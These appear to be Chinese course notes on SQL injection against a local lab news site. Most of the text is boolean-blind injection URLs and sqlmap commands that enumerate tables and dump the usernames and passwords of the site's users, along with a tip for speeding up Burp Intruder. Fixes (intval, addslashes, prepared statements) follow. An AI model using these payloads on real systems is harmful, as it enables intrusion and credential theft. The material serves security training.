http://127.0.0.1/news/show.php ?id=46 and length(database())=n
http://127.0.0.1/news/show.php ?id=46 and ord(substr(database(),m,1))=n
ascii与字符串互相转换
https://www.toolnb.com/tools/asciiTools.html
页面每转换一次,需要刷新。
在使用bp的intruder攻击时,通过增加线程提高攻击的频率。在intruder模块的options选项中可以设置线程数。默认是5,可以设置为100。
http://127.0.0.1/news/show.php ?id=46 and length((select group_concat(table_name) from information_schema.tables where table_schema='news'))=n
http://127.0.0.1/news/show.php ?id=46 and ord(substr((select group_concat(table_name) from information_schema.tables where table_schema='news'),m,1))=n
news_article,news_category,news_file,news_friendlink,news_message,news_notice,news_page,news_users
http://127.0.0.1/news/show.php ?id=46 and length((select group_concat(column_name) from information_schema.columns where table_schema='news' and table_name='news_users'))=n
http://127.0.0.1/news/show.php ?id=46 and ord(substr((select group_concat(column_name) from information_schema.columns where table_schema='news' and table_name='news_users'),m,1))=n
userid,username,password
http://127.0.0.1/news/show.php ?id=46 and length((select group_concat(username) from news_users))=n
http://127.0.0.1/news/show.php ?id=46 and ord(substr((select group_concat(username) from news_users),m,1))=n
http://127.0.0.1/news/show.php ?id=46 and length((select group_concat(password) from news_users))=n
http://127.0.0.1/news/show.php ?id=46 and ord(substr((select group_concat(password) from news_users),m,1))=n
# 一 windows中使用sqlmap # 1. 获取服务器信息,包括操作系统、数据库、web容器、后端语言 # python sqlmap.py -u url # 2. 获取数据库名称列表 # python sqlmap.py -u url -dbs # 3. 获取当前数据库名称 # python sqlmap.py -u url --current-db # 4. 获取当前数据库中所有表的名称 # python sqlmap.py -u url -D 数据库名 --tables # 5. 获取当前数据库指定的表的字段名 # python sqlmap.py -u url -D 数据库名 -T 表名 --columns # 6. 获取指定库指定表指定字段的值 # python sqlmap.py -u url -D 数据库名 -T 表名 -C 字段名1,字段名2... --dump # 二 kali中使用sqlmap sqlmap -u http://192.168.10.1/news/show.php?id=46 sqlmap -u http://192.168.10.1/news/show.php?id=46 -dbs sqlmap -u http://192.168.10.1/news/show.php?id=46 --current-db sqlmap -u http://192.168.10.1/news/show.php?id=46 -D news --tables sqlmap -u http://192.168.10.1/news/show.php?id=46 -D news -T news_users --columns sqlmap -u http://192.168.10.1/news/show.php?id=46 -D news -T news_users -C username,password --dump
1.数值型的参数做类型转换
文件的181行:
D:\phpStudy\WWW\news\include\common.function.php
function getArticleInfo($id=0){ global $db; if($id==0){ if(empty($_GET['id'])){ return false; }else{ // $id = $_GET['id']; // 对用户输入的数据做int类型的转换 $id =intval( $_GET['id']); } } return $db->getOneRow("select * from news_article where id=".$id); }
2.字符型的参数通过addslashes函数增加\
D:\phpStudy\WWW\news\newsAdmin\admin\login.action.php 第6行
if (isset ( $_POST ["username"] )) { //$username =$_POST ["username"]; // 防止sql注入 // \' or 1=1# // \'不能再起到闭合,作为数据的一部分 $username =addslashes($_POST ["username"]); } else { $username = ""; }
3.预处理的方式执行sql语句(主要防止数值型的sql注入,自动会有类型检查)
批量挖掘sql注入:
https://www.cnblogs.com/Azjj/p/14002310.html
猎才课程笔记:
https://www.wolai.com/3bTm9F5PLaHGYwJPxygP16
https://www.wolai.com/fgeDuHzN6uExqvU9Nz353J